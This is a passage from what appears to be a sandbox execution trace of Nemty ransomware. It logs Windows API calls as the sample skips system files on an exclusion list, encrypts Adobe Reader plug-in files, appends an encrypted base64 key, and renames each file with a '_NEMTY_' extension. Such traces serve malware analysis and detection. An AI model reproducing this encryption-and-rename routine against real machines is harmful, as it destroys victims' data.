(HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.866] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.866] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.866] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\AdobePDF417.pmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\adobepdf417.pmp._nemty_kgobjgd_")) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.866] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.867] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f400, dwReserved0=0x0, dwReserved1=0x0, cFileName="DataMatrix.pmp", cAlternateFileName="DATAMA~1.PMP")) returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2=".") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="..") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="...") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="windows") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="$RECYCLE.BIN") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="rsa") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="NTDETECT.COM") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="ntldr") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="MSDOS.SYS") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="IO.SYS") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="boot.ini") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="boot.ini") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="AUTOEXEC.BAT") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="ntuser.dat") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="desktop.ini") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="CONFIG.SYS") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="RECYCLER") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="BOOTSECT.BAK") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="bootmgr") returned 1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="programdata") returned -1 [0186.867] lstrcmpiW (lpString1="DataMatrix.pmp", lpString2="appdata") returned 1 [0186.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x653e550, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataMatrix.pmp", lpUsedDefaultChar=0x0) returned 14 [0186.867] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.867] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x653e550, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataMatrix.pmp", lpUsedDefaultChar=0x0) returned 14 [0186.867] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x653e5a0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataMatrix.pmp", lpUsedDefaultChar=0x0) returned 14 [0186.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0186.868] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="DataMatrix.pmp", cchWideChar=14, lpMultiByteStr=0x653e5d8, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="DataMatrix.pmp", lpUsedDefaultChar=0x0) returned 14 [0186.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.868] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.868] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.868] Sleep (dwMilliseconds=0x5) [0186.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2307bbd0, dwHighDateTime=0x1d561e8)) [0186.870] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x2307bbd0, dwHighDateTime=0x1d561e8)) [0186.870] GetLastError () returned 0x0 [0186.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.870] GetLastError () returned 0x0 [0186.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.870] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.870] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.870] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.870] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.871] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.871] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="RnSvmz8N2j1NmZLkkP/JGmzTDMf0vbd9N5qMLYkgQ19DgeaoyTz6tHCUu7TDgVLP\r\ntH9hxTI0oN+VdJKDFe8L1kQhkTlpRwqFKbaLUjtpc7xSZqHF0YTrxzCaiXaJlHev\r\nHwIXPgMODS5C7C5OF7f+9xjwZL2wv96WAgQrzoK7+fvDbBVMZtWYUREN3PKxLfWl\r\ndAIqZaiqa2SyC/gzTrpV6LyjNPp0FajGKJ6eMslCWzJ57ZkbCoWNlNKsCHTvs89t\r\nX3XwW6Sa3OYQzUK/fDVzp3nuscZOj38ZI8Qec0xnGWpwOsE18sEJ5+yHBpiNpF1N\r\ndPIOpRD1BA2/j4CZvZsMwA==\r\n", pcchString=0x653e29c) returned 1 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.871] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.871] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\datamatrix.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.871] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=521216) returned 1 [0186.871] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0186.871] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.871] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x19000, lpOverlapped=0x0) returned 1 [0186.880] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.880] WriteFile (in: hFile=0x2f0, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e4dc*=0x19000, lpOverlapped=0x0) returned 1 [0186.881] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0186.881] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=521216, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f400 [0186.881] WriteFile (in: hFile=0x2f0, lpBuffer=0x6340100*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e4dc, lpOverlapped=0x0 | out: lpBuffer=0x6340100*, lpNumberOfBytesWritten=0x653e4dc*=0x167, lpOverlapped=0x0) returned 1 [0186.882] CloseHandle (hObject=0x2f0) returned 1 [0186.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340270 [0186.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0186.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0186.883] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0186.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0186.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340328 [0186.883] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63403e0 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340328 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.883] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\datamatrix.pmp"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\DataMatrix.pmp._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\datamatrix.pmp._nemty_kgobjgd_")) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403e0 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340270 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0186.883] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0186.884] FindNextFileW (in: hFindFile=0x3423af0, lpFindFileData=0x653e648 | out: lpFindFileData=0x653e648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e77b40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x13400, dwReserved0=0x0, dwReserved1=0x0, cFileName="QRCode.pmp", cAlternateFileName="")) returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2=".") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="..") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="...") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="windows") returned -1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="$RECYCLE.BIN") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="rsa") returned -1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="NTDETECT.COM") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="ntldr") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="MSDOS.SYS") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="IO.SYS") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="boot.ini") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="boot.ini") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="AUTOEXEC.BAT") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="ntuser.dat") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="desktop.ini") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="CONFIG.SYS") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="RECYCLER") returned -1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="BOOTSECT.BAK") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="bootmgr") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="programdata") returned 1 [0186.884] lstrcmpiW (lpString1="QRCode.pmp", lpString2="appdata") returned 1 [0186.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QRCode.pmp", lpUsedDefaultChar=0x0) returned 10 [0186.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x653e550, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QRCode.pmp", lpUsedDefaultChar=0x0) returned 10 [0186.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.884] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.884] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.884] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x653e5a0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QRCode.pmp", lpUsedDefaultChar=0x0) returned 10 [0186.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0186.885] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="QRCode.pmp", cchWideChar=10, lpMultiByteStr=0x653e5d8, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="QRCode.pmp", lpUsedDefaultChar=0x0) returned 10 [0186.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0186.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0186.885] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0186.885] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0186.885] Sleep (dwMilliseconds=0x5) [0186.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x230a1d30, dwHighDateTime=0x1d561e8)) [0186.886] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e464 | out: lpSystemTimeAsFileTime=0x653e464*(dwLowDateTime=0x230a1d30, dwHighDateTime=0x1d561e8)) [0186.886] GetLastError () returned 0x0 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0186.886] GetLastError () returned 0x0 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0186.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0186.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e2a0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e2a0*=0x100) returned 1 [0186.886] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x10, dwBufLen=0x100 | out: pbData=0x653e2a4*, pdwDataLen=0x653e290*=0x100) returned 1 [0186.886] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e29c | out: pszString=0x0, pcchString=0x653e29c) returned 1 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340100 [0186.886] CryptBinaryToStringA (in: pbBinary=0x653e2a4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340100, pcchString=0x653e29c | out: pszString="WAsFkat7xnDv1h6V7yFc21xt2nRM8Mb0lNvnrdHOluH9Gdn4xzJOpkI1U2iAyI9N\r\nVCmDxX5/Lu1Vny6H9NlVRM4FqN292lPWWVcwVElAg6Q8Fu9lxmDbV3gpOZ/8Ry05\r\nfKGwMU/FJUaL2SbEOkNbUOMne2lke7ZDm8N5G8POmO1P0rU8RyPchqeIB5i8y9vA\r\n0PmW30OFuo723hrG+8Y2VB4bdnTmprAPFPSePvCwM22u/j9Ds5JB6qD5MZxOdrS4\r\n5f2JeII1e5tES+2+zha5agPU04ByRbuy8XevD8ggG/M61uRVsS6u8C3D2s54WUCr\r\nyfUf5wWfoWlNovBZaUykeA==\r\n", pcchString=0x653e29c) returned 1 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0186.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0186.886] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340100 [0186.886] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0186.886] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\AcroForm\\PMP\\QRCode.pmp" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\acroform\\pmp\\qrcode.pmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f0 [0186.887] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x653e4f0 | out: lpFileSize=0x653e4f0*=78848) returned 1 [0186.887] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13400) returned 0x6352c48 [0186.887] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0186.887] ReadFile (in: hFile=0x2f0, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13400, lpNumberOfBytesRead=0x653e4e4, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e4e4*=0x13400, lpOverlapped=0x0) returned 1 [0186.895] SetFilePointer (in: hFile=0x2f0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: 